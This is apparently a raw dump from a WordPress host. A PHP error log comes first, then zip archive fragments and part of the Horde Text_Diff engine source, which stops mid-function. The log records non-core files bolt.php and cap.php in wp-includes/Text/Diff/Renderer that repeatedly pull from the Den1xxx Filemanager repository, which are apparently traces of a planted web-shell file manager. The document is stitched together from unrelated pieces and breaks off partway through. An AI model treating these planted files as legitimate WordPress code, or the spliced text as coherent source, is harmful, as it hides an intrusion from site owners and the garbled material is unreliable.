[25-Jun-2026 20:16:15 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:16:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:16:39 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:16:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:16:58 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 167
[25-Jun-2026 20:17:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:19 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:28 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:33 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:17:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:17:57 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:18:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:26 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:26 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 20:18:31 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:18:38 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:18:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:19:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
